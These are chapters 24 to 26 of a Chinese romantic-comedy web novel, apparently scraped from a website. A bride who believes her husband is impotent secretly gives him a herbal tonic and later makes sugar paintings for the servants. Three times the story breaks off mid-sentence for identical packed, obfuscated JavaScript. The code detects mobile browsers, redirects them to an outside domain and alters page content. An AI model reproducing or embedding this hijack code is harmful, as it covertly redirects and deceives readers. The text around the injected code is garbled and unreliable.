珠娘打扇的手一松,扇子坠落到地上。“你,你问这个要干什么?”珠娘警惕道。不是她多心,唐礼这女儿与他爹有八分想象,不能完全以常理思考,还是问仔细为上。 “当然是要生孩子。”青朵直勾勾地盯着她,“我知道肚子大了,就是有孩子,可是怎么把孩子‘揣’肚子里呢?” 珠娘“扑哧”笑出声,她还是头一次听到“揣”这种说法,但这还不够,青朵急冲冲地跑来,突然说要生孩子,不问清楚不行,于是又问道:“你怎么突然想起这个?” 青朵一下子沮丧起来,她愁眉苦脸道:“我今日才想到,大户人家最重视子嗣,我那个婆婆可是出了一个‘假家’,其实什么都惦记,要是我和夫君一直没有孩子,她会撺掇夫君休了我的。” 这话说的有理,珠娘在坊间听闻过不少类似的事。她安慰道:“你们俩才刚成婚,不必心急,左右你们还都年轻,说不定今年就能有。” 她忽地想起一事,拽了拽青朵的袖子,冲她使了个眼色:“上次你和我说的那事,最后成了没?” 青朵莫名其妙:“哪个啊?” “就是那个!”珠娘看着青朵一脸茫然,心里已经有了答案,看来是没成,要不然能不明白这暗号么! “就是你们圆房的事!”她叹了口气点破,又道,“你们不圆房,怎么有孩子?” 青朵的脸霎时涨红,她垂头抓弄裙子:“原来……原来是这样。”她唉声叹气道:“上次你让我喝酒,我喝了,一点用也没有,根本不能减少我的恐惧,我还是害怕!” “有什么好怕的!就进来的时候疼那么一下,也就那一会子的事,接下来,可就都是好日子。”珠娘掏出帕子遮住嘴,打趣道,“我瞧你那夫君挺怜惜你的,你叫他轻点便是。”说完捂住嘴窃笑。 “你说的轻松!”青朵急道,“那么一团东西,都来,我都得疼死!” “什么叫‘一团’?”珠娘止笑奇道,她也没听过这种形容那物的方式。 “就是……”青朵双手食指拇指合在一起,粗略地比划成一个圆,红着脸怯声道:“就是这样嘛!” 珠娘沉吟了一下,伸出右手,缓缓抬起食指竖起来,问道:“不是,这样?” 青朵皱着眉头回想,大婚那天,她一脚把曾正卿踹倒,他的脑袋磕到床架上,自己起身查看他伤势,无意间看到的,并不是珠姨所比划的那样,于是双手又比划成一个圈,坚持自己的说法:“是一团没错。大婚当天晚上,我看得清清楚楚。” 她坚定的语气和手势加在一起,仿佛在说,头掉了不过碗大块疤。 珠娘一听,顿时深吸一口冷气。青朵见状不对,抓着她摇晃,急切追问道:“到底是怎么回事,你说啊!” 珠娘叹道:“真是作孽啊!你爹他,他怎么给你找了这样一个人!岂不是让你守活寡!你爹说他没有通房,我还奇怪呢,二十左右的公子哥们,谁不是有过那么三个四个,偏他就能守身如玉?现在想来,怪不得,怪不得!” 她忧心忡忡:“阿照啊,不是你不行,是你的夫君不行啊!” 青朵瞪大眼睛:“他不行?那是什么意思?” “你夫君他——”珠娘垂下竖直的食指,悲戚道,“不举啊!” 24. 确认 “啊?”青朵一声惊呼,眼睛因震惊瞪得溜圆,仿佛曾正卿此时命悬一线。可下一秒,一双天真的眼睛眨了眨,她认真问道:“什么叫‘不举’?” “就是……就是那处,那处软塌塌的,抬不起来,不能行房事!不能跟你圆房!”珠娘没好气地说道,“都怪你爹!也不好好打听一下,匆匆忙忙就把你嫁出去!这下可怎么办!如花似玉的姑娘,就这么被耽误了!” 青朵懵懵懂懂:“有病就治呗!我这就回去告诉夫君,赶紧找大夫看病!” 她说着就起身要走,珠娘赶紧拽住她,嚷道:“我的小祖宗,活祖宗啊!这种事情,你一个姑娘家,怎么好直接跟他说呢?” “这对男人来说,可是奇耻大辱!” 这么严重吗?怪不得卿卿瞒着她,不敢让她知道,这是他的私隐啊!唉,可怜,卿卿这般霁月光风的人物,却有难以启齿的病痛,她眼前浮现一场画面:圆月当空,卿卿独坐墙头,烈酒入喉,他声嘶力竭长啸道: “抽刀断水水更流,酒尽它也不抬头!” “不!抬!头!” “嗷呜——”青朵内心发出小兽一般的悲鸣,她可见不得卿卿悲伤欲绝的样子,她连忙问道:“珠姨,可有什么治疗的办法?”末了又加上一句:“最好神不知鬼不觉的,不能让他发现我知道这件事。” 珠娘沉吟良久,要说见效快,那还是暖情的药物,但这不可能不让人发觉,再说,让阿照给夫君下药,也实在不妥,她想了想最后说道:“那就只能慢慢调养了。” “如何调养?” “我有一个方子,就是由淫羊藿、肉苁蓉、巴戟天、桑螵鞘等物组合而成,泡酒泡茶熬汤皆可,能够补肾助阳,你给他喝上一个月,也许就有起效。” 青朵连连点头:“好好好!你把方子写下来,我这就去店里买!” “我这还有几幅,你这几日可先用着,剩下的再自己买。”珠娘说着,起身进厨房寻找。 青朵双手握拳,面容坚定,她骤然感到自己小小的肩膀上,承担下重重的责任,没错!她一定要帮助卿卿,恢复男人的尊严,重振雄风! 青朵提着几幅药走在街上,越想越觉得不对劲,自己好像是遗漏了什么重要信息,这答案似乎近在咫尺,又拎不清楚。 她歪着头思索:到底是什么呢? * 盥洗室里传来水流声,青朵双手背在身后,在外面走来走去,像是等待孩子出生的父亲,焦虑不安。 过了好一阵子,她看着手中的陶搓石,终于下定决心,狠狠地点头给自己鼓劲,她走到屋门口,大声说道:“卿卿,我来给你搓背!” 说罢,也不等曾正卿回应,一把推开屋门走进去。 里面雾气蒸腾,像是缠人的妖精,直往脸上扑,青朵胡乱挥手拒绝它们的邀请,在云雾中定睛一看,曾正卿斜倚桶沿,身子扭转,惊讶望向她。 “我……”刚说一个字,她抵抗住白雾的纠缠,却无法抵御强健身姿的诱惑,她的注意力一瞬之间,就被他的身体吸引过去,宽厚的肩膀撑不住流动的水珠,任它顺着背脊的弧线,一路向下,只可惜下面的风景被桶壁遮挡,青朵不自觉地踮脚,想要一探究竟。 “夫人,你怎么进来了?”曾正卿诧异道。 “我……”青朵只顾眼前的风景,一时忘了来意。 曾正卿顺着她的目光看去,直到她直勾勾地在看自己,又见她踮脚伸脖,跃跃欲试的样子,想到遗落在房中的那只绣鞋,心中顿时了然。 他这夫人,比他想的,还沉不住气。 罢了,既然她已有此意,他不介意推波助澜,于是眉毛扬起,说道:“夫人可是要给我搓背?” “哦!对对对,”青朵的记忆终于被唤醒,她想起自己的差事,连连应道,“是这样没错!” 曾正卿不觉好笑,他回正身子背对着青朵,说道:“那就劳烦夫人了。” 青朵小心翼翼地走上前,将陶搓石按在他的肩部,双手扶稳,来回搓动,目光毫不犹豫垂下去,找寻刚才没看到的风景。 咦?他腰线处怎么有一个红色的点?随着水波上下起伏,是什么东西粘在上面了?青朵忍不住停下动作,把右手伸到水中,去抠那诱人的红点。 突如其来的触碰,曾正卿身体一颤,下意识转身躲避,他嘴巴微微张开,难以置信地看着青朵。 这就上手了? “不不不,”青朵倒退几步,忙乱解释道:“你后腰粘上红色的东西,我想帮你抠掉……” “……那是一颗痣。” “……哦。”两人大眼瞪小眼,青朵见曾正卿无奈地叹气,担心他会将她赶出去,自己的差事还没了结呢!她赶忙说道:“是我错了是我错了,我保证不乱抠,就老老实实地搓背。” 她对自己的身体,这么渴望吗? 没办法,谁让她是自己的夫人,曾正卿的喉间溢出一声笑,他说道:“夫人请便。” 青朵走上前来,没有转到后面去搓洗他的背部,直接将陶搓石按在颈窝,轻轻搓洗。 新婚夜毕竟匆忙,她怀疑自己没看真切,所以决定趁曾正卿洗澡的时候,以搓澡为由头,再次观察一下。如果还是同样的结果,她只能给卿卿下药了! 随着陶搓石从他的胸膛滑落至小腹,青朵的头也随之越来越低。 曾正卿玩味地看着青朵的头顶,夫人的意图,还能再明显些吗? 在自己的额头即将与水面亲密接触之际,青朵看清它的模样,心中顿时凄凉一片。 不举这事,真的不能再真了。 “夫人,夫人?” 青朵心中一凛,不行,不能让他发觉自己已经知道,她抬起头挤出笑容:“夫君,我搓好了,你慢慢洗。”她三步并作两步冲了出去。 曾正卿的瞳孔微微收缩,百思不得其解,她来去匆匆,难道这又是夫人的“贤妻”任务吗? * 曾正卿回房后,就一直没见到青朵。之前几日,她都是伏案作画,直到休息,他走到桌旁,宣纸上半株杏树斜逸而出,果实裹着藤黄与胭脂,颗颗饱满圆润,透露光泽,他虽不通画理,却也瞧得出她笔触的蜕变,那灿烂的生机已经要浮出纸面,她把它捧到他的面前。 就像她自己一样。灵动鲜活,神飞色动。 曾正卿不禁一寸寸抚过画作,它似乎是一面镜子,透过它,他能见到妻子蘸满花青的羊毫笔悬在上方,眸色凝在笔尖,在杏树枝上晕染…… “卿卿。”轻声呼唤将他从沉思中唤醒,他回身一瞧,只见青朵站在他身后,端着一个碗,一脸忧色。 嗯?曾正卿愈发摸不清头脑。 青朵轻咬下唇,她能听到自己的心跳声,补药是熬好了,但现在该怎么劝曾家大郎服下?总不能直白地就一句,“大郎,该吃药了”吧? 她也不能让曾正卿知道这是药啊! “这是什么?”曾正卿见碗中呈茶褐色,疑惑道。 青朵慌不择言:“这是补……补……” 珠娘说的“补肾助阳”,她说不出来啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454367|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “补神的?”曾正卿试探道、。 补神?嗯……是能让你能够“神龙摆尾”,这样说来,也算是“补神”。 青朵点头道:“是的,补神。” 先是搓背,又是补药,联想到之前帮正己,做饭,缝袜子三件,他愈发笃定,这就是妻子的“贤妻”任务。 他微笑道:“夫人可是觉得我最近太过辛劳,所以特意为我准备补品?” 原来自己并不用说什么,卿卿可以自己说服自己。 青朵重重点头:“没错。” “多谢夫人。”曾正卿夸张地向她作揖道。 “不必不必!”青朵谦虚道。心里催促:快喝快喝快喝! 在青朵目不转睛的注视下,曾正卿一口气喝下补药,他放下碗的时候,余光正好瞥见青朵长舒一口气。 她紧张什么?难道还怕自己不配合? 他怎么舍得难为她。可是看她刚才局促的模样,偏偏又忍不住想再逗弄逗弄她。 那抹坏笑转瞬即逝,曾正卿刚想说话,却见青朵一个箭步蹿到他身前,双手牢牢握住他的左手,一脸郑重道:“卿卿,我会好好照顾你的。” 猝不及防的表白,让逗趣的话语插翅飞走。曾正卿的心弦被无形的拨片划乱节奏,“咚咚”“咚”“咚咚咚”,鼓槌也失去控制,在绷紧的鼓面上随意弹跳,他右手捂住胸口,却无法叫停身体内的躁动。 他怔忡的身影落进青朵毫无保留的眼,曾正卿蓦然醒悟,谁说这其中,不曾铺就真心呢?她并非只是为了成为印象中的“贤妻”。所有的这些怪异行为,只有一条答案—— 她在乎他。 烛光昏暗,更衬得她眉目笑语溶溶如月,让人惊觉,真正的月华不在中天,而在她眉眼方寸间。 而这昭昭月明,独照我。 曾正卿内心激荡,他覆上青朵的手,喃喃道:“阿照……” 青朵眼睛扑闪,卿卿喊了她的小字?只见他眼角笑意如水雾般温柔,她也忍不住快乐地大笑起来,清越笑声隐隐盖住他的细语。 他说了什么? 青朵仔细回想,好像是“朝暮与共,行至天光。” 傻瓜!他们是夫妻,当然会一起度过每一天,直至时光尽头。 她可舍不得离开他这个钱袋子,没有人比她更希望,他们做一辈子夫妻! * 清晨仍是曾正卿先醒,婚后不久,青朵还随他一起起身,服侍他穿衣,最近的一次就是送她画具,她早起一次,假装贤淑“报答”自己,其余时间,都是沉沉睡着。 他穿戴完毕,想起昨夜烛光下她的信誓旦旦,笑容不可抑制地涨出,他撩起床帐,低头看妻子的睡颜,浓密的睫毛轻颤,似乎是陷身于惊恐的梦中。 他悄悄俯下身,吻上不安分的眼。 啊啊啊啊啊啊啊啊啊! 青朵内心咆哮: 他他他,怎怎怎么偷亲我? 她闭着眼睛,手在被子下面使劲掐大腿内侧,才没真的喊出声来。 自从上次缝完足衣,早上一觉不醒,她发现只要自己睡着,曾正卿不会叫醒她,她就得以逃脱早起伺候丈夫的责任。所以每每曾正卿醒来,即使她也醒了,也不睁开眼睛,继续装睡。 可今日!却叫她无意中发现,他竟然偷亲她! 玉皇大帝大慈大悲观世音菩萨释迦摩尼佛祖!她紧闭的眼皮下闪过各路神佛。 谁能来告诉她,现在到底是要继续装睡?还是要装作什么也不知道刚刚醒转? 25. 眩晕 冷静!唐青朵你给我冷静! 假设自己装作刚醒,卿卿会相信自己是刚醒吗?他会不会怀疑自己刚才在装睡?如果自己一不小心说走嘴,那如何解释自己装睡的原因? 总不能说是因为不想起床服侍他吧? 那她端庄贤淑的形象,岂不是大打折扣? 不不不,不能醒!那就只有一个选择—— 气沉丹田,缓慢呼吸,青朵,你睡得很沉。 她反复念咒语催眠自己,呼吸是平稳下来,但浑身的血液都在涌动,像锅中刚烧开的热水,争先恐后地冒泡泡。 她感受到曾正卿的呼吸在脸上盘旋,像是要抓住珠颈斑鸠的红隼,念咒变成祈求:求求求求你,不要靠近我,我要忍不住了…… 呜呜呜,我下次再也不装睡了! 正当青朵哭泣忏悔之时,唇瓣突然与什么柔软的物事相触,那温热的感觉…… 是卿卿的唇。 “咻——” 有什么东西飞走了,那是青朵的魂魄。 召回魂魄颇废了一番功夫,当青朵恢复意识,已经不知道曾正卿走了多久。她颤抖着抚摸自己的唇,那短暂的触感又回到记忆中,她一把拽起被子盖住脸,手在脸旁紧紧拽住被子,即使没有接触,也能感受到脸颊透露的热气。 卿卿他,他怎么这样!她心里嗔怪道。 她从没有,从没有与别人这样,这样亲密…… 啊啊啊!不要想了!她两条腿慌乱蹬踹,整个人裹着被子左右滚动,仿佛这样就能甩掉羞意。 芳晴在外面听到屋内床的震颤声,估计她的少夫人也差不多该醒了,于是进屋道:“少夫人你醒了。” 里面的动作顿时停下来,青朵的声音闷闷的,她道:“还没有。” 芳晴不禁失笑,她体贴道:“是奴婢惊扰少夫人,夫人且再合眼养养神。” 待关门声想起,青朵猛地掀开被子,长吐一口气,又闷又热,她把被子踹到一边,可身上依然发烫。 哎呀这有什么好纠结的!如果你不喜欢,下次曾正卿那小子再靠近,你就照着他的脸给他一拳,告诉他自己不喜欢这样!脑海里的青朵小人分成两个,左青朵翘着腿不耐烦道。 可是……右青朵戳戳食指,低头含羞,自己好像不是不喜欢……甚至…… 还想再来一次。 青朵掩面悲道:“天啊,我是个不知羞耻的女子!” “不是!”左右青朵异口同声,“他有病在身,别的也做不了,只能亲一亲,你就让他过过瘾吧!” 青朵一下子坐起,如此说来,自己其实——她眼珠一转——是在行善举,不是对他另有所图。 她托着下巴偷笑,既然这样,她不介意继续装睡。 可这都是为了卿卿!才不是她想要更多的亲吻! * 善良的青朵最近总是在做好事。 她兴冲冲地拿着自己画的杏树去找露浓,却发现朱熠也在,蹬在梯子上正在摘杏。原来是露浓想要把杏子做成杏脯,拿到集市上换点钱。 “上次结清的话本钱,不够花吗?”青朵奇道。 “那倒是没有,但是它早晚有花光的时候,我不能坐吃山空啊!能赚一点事一点吧!” 也是,谁会嫌钱多呢! 于是,青朵成为他们的一员,她负责洗杏,露浓用小刀将杏子割开,取出里面的核。 青朵的手拂过圆润的杏,随着她揉搓的动作,水面浮起一层浅淡的绒毛,突然一颗杏子从树上落下,“扑通”一声,水花溅到她脸上。 “啊呀!”她不满地抬头,抱怨道,“朱大哥,你小心点。” “抱歉。”朱熠口中说着,却连连冲青朵使眼色。 什么意思?青朵皱眉不解,然后就听到朱熠清喉咙吟道:“花褪残红~青杏小~” 青朵低头咬住嘴唇不让自己笑出声,可笑脸诚实倒映在水面上。 “燕子来时……来时……”朱熠挠头深思,却怎么也想不出来,他含糊继续道,“‘那什么‘绕’。” “那什么”几个字格外得轻,确认的几个字,咬字格外得重。朱熠之所以突然起来地吟诗,此事与青朵大大相关。 上次露浓寻找住处时,青朵就发现,朱熠的目光黏在露浓姐姐身上,殷勤周到,处处寻求她的意见,甚至还想替露浓出租房的银两,被露浓婉拒了。 青朵趁两人单独站在一边,偷偷问道:“朱大哥,你喜欢露浓姐姐?” 朱熠一惊,他连忙向露浓的方向扫一眼,见她没有发觉,这才放心转头低声问道:“小青朵,你怎么知道?” “很明显啊!我又不瞎。”青朵不屑道。 “那你说……露浓姑娘……她知不知道?”他一边瞄露浓,一边低声问青朵。 青朵嘟一下嘴,说道:“露浓姐姐也不瞎。” “那你觉得,她对我有没有意思?”朱熠紧张地追问道。 青朵摇摇头:“朱大哥,你也不瞎啊!” 朱熠一下子泄气:“果然……唉,她到底喜欢什么样的男子啊!” 青朵望望露浓,又看看他,忽然眨了眨眼睛,眸光盛满狡黠:“露浓姐姐既通诗文,一定是想找一个能够陪她吟诗作对的男子,朱大哥武功厉害,不知道这方面怎么样。” 与朱熠打过几次交道,她早知他是个胸无点墨的武痴。 果然朱熠叹道:“这可就难了。” “不难不难,”青朵假意安慰道,“左不过就是背点诗文,以朱大哥的聪明才智,不算什么难事。” “何况,如果不肯费这点心思,又怎么配得上露浓姐呢?”她别有深意道。 朱熠听了这话,更是摩拳擦掌,斗志满满。这才有了以上这一幕。青朵抬起头,脸上已是赞许的神色,她拍拍手夸道:“好诗!” 朱熠干劲十足,口中金句不绝,什么“窈窕淑女,君子好逑。”,什么“在天愿做比翼鸟,在地愿为连理枝。”他一边吟诗,眼睛不住地觑向露浓,露浓只是低头去核,看也不看他一眼。他心中略微失望,还好有青朵的掌声与称赞,他鼓起勇气继续吟诵: “衣带渐宽终不悔,为伊消得人憔悴。” 青朵脸上笑嘻嘻,手掌都拍红了,这个傻大哥,一连气背这许多倾诉衷肠的句子,瞧露浓姐低头不语的样子,分明是不吃这一套。连她都知道露浓姐面皮薄,他再背下去,只会把人推得更远。 露浓一见青朵的样子,便知朱熠的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15469214|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异常,是谁出的主意。毕竟朱熠有恩于她,她不忍心看朱熠的笑话,说道:“好了朱大哥,你一早就过来帮忙,快下来歇歇吧。” 她关心我!看来这些拗口的诗句没白背,朱熠大喜,连忙回道:“我不累,我每日练武都要好几个时辰,摘杏对我来说,不过是小意思。” 不过一句话,倒像是有人渡给他几十年的功力,他一手兜起衣服下摆,另一只手像狂风般席卷过树枝,没多久就收获一堆沉甸甸的黄杏,他走下梯子将所有杏抖落在青朵面前的水盆中,还不忘轻轻说上一句:“谢谢。” 青朵看着盆中堆的高高的杏子山,目瞪口呆,不敢相信报应来得如此之快,愁眉苦脸刚洗完一波,新的杏子又劈天盖地而来,她甚至开始怀疑,杏子们在水盆中繁殖,子子孙孙无穷尽。 苦也苦也! 早上那一大碗大排面早就消化干净,她又累又饿,耷拉着脑袋,无精打采地搅动水花,连听朱熠与露浓谈话的力气都没有了。 当露浓再一次客气地请朱熠休息,朱熠骄傲道:“露浓姑娘,不用担心我,我和那些‘满肚肥肠’的人不一样,我有力气得很!”说完,他弓起手臂,展示自己饱满的肌肉。 露浓闻言一怔,还不等回话,这边青朵“噌”地一下站起来,目光四处搜寻,她急切地问道: “哪有肥肠?” 露浓叹了一口气,她先起身,扶起青朵走到凉榻旁,示意她躺下,对她说道:“青朵,没有肥肠。” “啊——”青朵哀叹道。 露浓抬头对朱熠说:“朱大哥想说的,应该是‘脑满肠肥’吧。朱大哥天生神力,自然无事,可青朵已经精疲力竭,非得歇息不可了。也怪我思虑不周,家里没有备至招待你们的食材,我现在就出去买。” 朱熠听她如此说,连忙跳下来:“我和你一起去,还能帮你拎拎东西!” 青朵可怜巴巴道:“你们快点回来,我已经饿成干瘪的青朵,比杏干还干。” 待他们走后,青朵彻底瘫在凉榻上,整个暴露在阳光底下,真像被晾晒的“杏干”。她无力地将眼睛睁开一半,越看越觉得头顶上的太阳像个半熟煎蛋,她忍不住伸手去戳,“噗”,蛋液般的阳光倾泻而下,她下意识张大嘴巴,想要一口吞下…… 突然,她的小鼻子翕动,什么东西这么香?难道是饿到临头,回光返照?不,她又仔细嗅了嗅,是肉的香气! 她一骨碌爬起来,起身太猛,大脑一片晕眩,她不管不顾踉跄站起,循香而去,像只闻到肉骨头的小狗。 * 朱熠承担绝大多数食材,露浓的手中只有一个张牙舞爪龙形糖画,两人赶到门前,却发现大门上了锁。 “咦?青朵哪去了?”露浓疑道。 “她是不是在屋里饿晕倒了?”朱熠怀疑。 露浓叹气:“朱大哥,她在里面昏倒,又怎么在门外上锁呢?” 朱熠不好意思道:“你说的没错。”他又道:“想来她也走不远,我喊两声试试!”他正要提气喊叫,突然,隔壁传来熟悉的声音。 那声音中气十足,与临走时的虚弱,判若两朵,光是听声音,都能想象到说话人的精神抖擞。她喊道: “再来一碗!” 26. 见客 露浓牵着青朵,把她从邻居家拖走,青朵不情愿地嘟囔道:“以后干活,要是没有准备好饭菜,我可不来了!” “好好好,”露浓将手中的糖画递给她,哄道,“下次我一定备好酒席,再请唐大小姐光顾寒舍。” “这还差不多。”“大小姐”点头表示满意,她接过糖画,只见晶莹剔透的糖丝勾勒出龙的图案,她将木棍放在双手掌心里,来回搓动,那龙似乎也活动起来,将要腾云驾雾遨游去了。 朱熠跟着露浓进厨房,刚把东西都放下,回头看见青朵转动糖画,他蹑手蹑脚走到她身后,趁她不留神,劈手夺过。 “还我!” 他把糖画举高,挑挑眉道:“馋丫头,你要是能够到,我就给你。” 青朵围着他蹦蹦跳跳,双臂高高举起,可无论她怎么扑腾,连他的臂弯都触碰不到,朱熠得意道:“你倒是来拿呀,怎么不来呢?” 青朵瞪了他一眼,哼,身高悬殊,只能智取,她冲厨房喊道:“露浓姐——” “给给给给给!”朱熠急忙将糖塞回她手中,“不过是逗逗你,你喊什么!” “怎么了?”露浓闻声探出身子。 “没什么!”朱熠慌乱道,他大手按到青朵头上揉啊揉,“我和小青朵闹着玩呢!” 拿走你的爪子!青朵嫌弃地抓起他的胳膊,扔到一边,双手轮流拍打发丝,仿佛要把他触碰带来的污渍都掸去。 她气鼓鼓地瞪朱熠一眼,臭手往哪摸,芳晴早上刚给她擦的茉莉花油! 露浓笑了笑,又回到厨房忙活,朱熠松了口气,扫了青朵一眼,不屑地抱怨道:“要不是你这个馋丫头吃了邻居的腊肉,露浓姑娘也不会把烧鸡送给人家!那可是福源居的鸡!我特意排队给她买的!” “结果给你做人情不说,她还特意给你买了糖画,哼,我什么都没有!” 青朵翻了个白眼,露浓姐要是再给你笑脸,你不得又对着她没完没了念情诗? 又听朱熠伤心地念叨着:“糖画花了二十文,她特意给你选取的祥龙图案,唉,哪怕给我买一个普通的也行啊!” 青朵趾高气昂,像是炫耀战利品一样,一口口舔着糖画,斜着眼睛瞟朱熠。没有比看到大男人酸唧唧更有趣的事了,舌尖上的糖都仿佛更甜,她正要说一句“好吃好吃”刺激他,突然注意到一件事,她震惊地看着手中的糖画,这一个小小的糖画居然要二十文? 她以前卖的春宫图,一般情况也就十几文,好的时候才二三十!她居然连个卖糖画的都不如? 朱熠还在一旁嘀嘀咕咕,青朵突然把糖画塞给他,面无表情道:“给你吃!”自己跑到屋里,今早拿来的杏树图画还摆在露浓桌上,她伸手抄起就往外跑,把朱熠的怒意甩到身后。 “你讲不讲究啊?都舔过了才给我!” * 月已西斜,曾正卿迈入宅院,每走几步,碰到几株杏树,就有丫头婆子围着吵吵闹闹地摘果。刘恪抱着个画轴,跟在他身后笑道:“元柏,贵府的仆人这般勤勉,大晚上还细细照料园子。” 曾正卿也感到奇怪,不过他自从娶了青朵,见多了奇怪的事,已经不觉得怎样。他径直带刘恪到书房坐下,着人去请青朵过来。回首却见刘恪怀抱画卷不撒手,揶揄道:“恭直是怕它跑了不成?” 刘恪轻抚画轴,动作像是哄婴孩睡觉,他一脸怜爱:“你有所不知,自从我把他接回家,睡觉都不搂着我家那个,净搂着他,就算被我夫人赶到书房独睡,我也甘之如饴。唉!我们老夫老妻,偶尔独处一阵,对我也好。” 他看了一眼曾正卿,意味深长道:“你是不能明白的,你们新婚燕尔,正是蜜里调油,哪里舍得丢开手呢!” 刘恪见他这一番话说完,曾正卿默然不语,只是一味喝茶。以为他这朋友不苟言笑惯了,抹不开面子,就哈哈一笑再也不提。两人对坐喝茶,闲话静候,不过没有等来青朵,而是一个小丫头。 她道:“少夫人说,她现在脱不开身,有事请少爷过去说。” 曾正卿一怔,问道:“她在忙什么?” 丫头含糊道:“嗯……画画。少爷,你去看看就知道了。” 曾正卿与刘恪对视一眼,刘恪饶有兴味道:“弟妹师从其父,想来她自幼耳濡目染,得嫡传真授,笔下造诣定是不凡,我这趟来得真是对极了。”起身催道:“元柏,我们快去!” 曾正卿瞥到那丫头欲言又止的样子,顿觉另有蹊跷,他劝道:“其实,她刚跟随岳父学画不久,虽有寸进,但还需潜心磨砺,还望恭直不要盼之过切。” 刘恪不以为意:“唐大师教出来的徒弟,岂会落了俗套?” 他一叠声地催促,迫不及待要去看画。两人只是走近院子,就听到里面震耳欲聋的喊声:“龙!龙!龙!” 曾正卿与刘恪面面相觑,忙走进院子,院子里站满丫头和婆子们,堵得严严实实,她们一个个伸长脖子向前探望,两人根本看不到前面。 曾正卿扫视一圈,她们手中或提或抱,都拿着一竹篮杏,更是惊疑。这时前面传来一声声叹息,就听青朵惋惜道:“可惜不是,不过没关系,蝴蝶也很好看!” “这是在做什么?”曾正卿皱眉道。 前面的仆人这才发现家主就在身后,纷纷退让两侧行礼:“少爷!” 曾正卿穿过人群,走到最前面,发现青朵坐在桌前,手执铁勺,她见到他顿时眉开眼笑:“卿卿!你刚才找我什么事?你等我一下,等我给小慧画完蝴蝶再说!” 话音刚落,芳晴就将一个铜锅递上,里面是琥珀色的糖浆,青朵舀起一勺,手腕微倾,糖汁流淌到铁板上,她手腕轻抖,糖线就在铁板上划出弧线,勾勒出整个蝶身,她左右拉动糖丝,画出蝶翼纹路,放一根竹棍固定。 曾正卿以为她画完,正要说话,却见她将画好的蝴蝶放到一边,然后又舀一勺,另画一只蝴蝶,与上一只不同,这个蝴蝶有蝶尾和触角。她又用铲子轻推上一只蝴蝶的右侧翅膀,让它竖起,在新蝴蝶中间淋上糖汁,提起上一个竹棍,向□□斜,将两个蝴蝶合在一起,整只蝴蝶像是被注入生命,半透明的蝶翼悬空展翅,似是要在人群中翩然起舞。 青朵提起糖画,笑吟吟地递给小慧,说道:“你瞧,蝴蝶也好看吧! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484446|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “好看好看,谢谢少夫人!”小慧连连道谢,喜不自禁,她拎起一筐杏递过去,芳晴帮青朵收下,青朵挥挥手,大气道:“不必客气,下次再来!” 饶是曾正卿已经见过诸多场面,此刻仍是呆立原地,千言万语凝在舌尖,发不出声响。 他曾正卿的夫人,在给仆人们,画,糖,画。 看刚才那样子,用一篮杏就能交换一个糖画,可她要如此多的杏做什么?糖画、杏……他说不出哪个让他更头疼,闭上眼睛长叹一声,命令道:“都下去吧!” 当院中只剩他们三人,曾正卿努力平心静气介绍道:“夫人,这位是我的好友,刘恪刘恭直。” 青朵忙站起行礼,唤道:“刘大哥。” 刘恪笑着还礼道:“本想一睹弟妹的丹青妙笔,没想到你画的是糖画,不过这‘蝴蝶’栩栩如生,也是别具一格啊!” 青朵快乐道:“刘大哥你喜欢?快,你也转一个,我画完送你!”她伸手一指,他二人才注意到右侧有一个转盘,上面有大小不一的格子,依次写着鼠、牛、虎、兔等动物,其中鼠的格子最大,龙只有食指宽的一条。 曾正卿提气正要说正事,谁料刘恪一挽袖子应道:“我来试试”,未来得及说出口的话,梗在喉咙里。 刘恪抽中“马”,就和青朵一起撺掇曾正卿“转一个”,他忍无可忍,提醒道:“恭直,你还记得,你此行的目的吗?” “不耽误,多有趣啊,你放心,大不了我多待一会儿,晚点走,你快转一个,看你手气怎么样!”刘恪把曾正卿拽到转盘旁,催道:“快转,就等你呢!” 曾正卿无可奈何,伸手随意拨动一下,看也不看,接着就听到刘恪惊道:“欸?竟叫你抽中了!” 曾正卿垂眸扫了一眼,那指针稳稳挺在“龙”的区域,他抬头望向青朵,却见她双目圆睁,似要脱出眼眶。 青朵用力咬唇,一脸愁容,唉,自己明明已经把“龙”的格子画到最小,一下午都没有人能抽中,怎么卿卿随意一拨,就一下子抽中了呢? 他抽中便罢了,可“龙”那么复杂,自己不会画啊! 只是他一个人在也就罢了,大不了撒个娇就蒙混过关,可这里还有他的朋友,如果自己画不出来,岂不是丢人现眼? 偏刘恪说道:“想来龙的图案甚是难画,拖你的福,我竟能一睹为快。” 老天爷啊!他不帮忙就算了,怎么还催命呢!白长一双大眼睛,却看不出眉眼高低,青朵只能可怜兮兮,向曾正卿投以求助的目光。 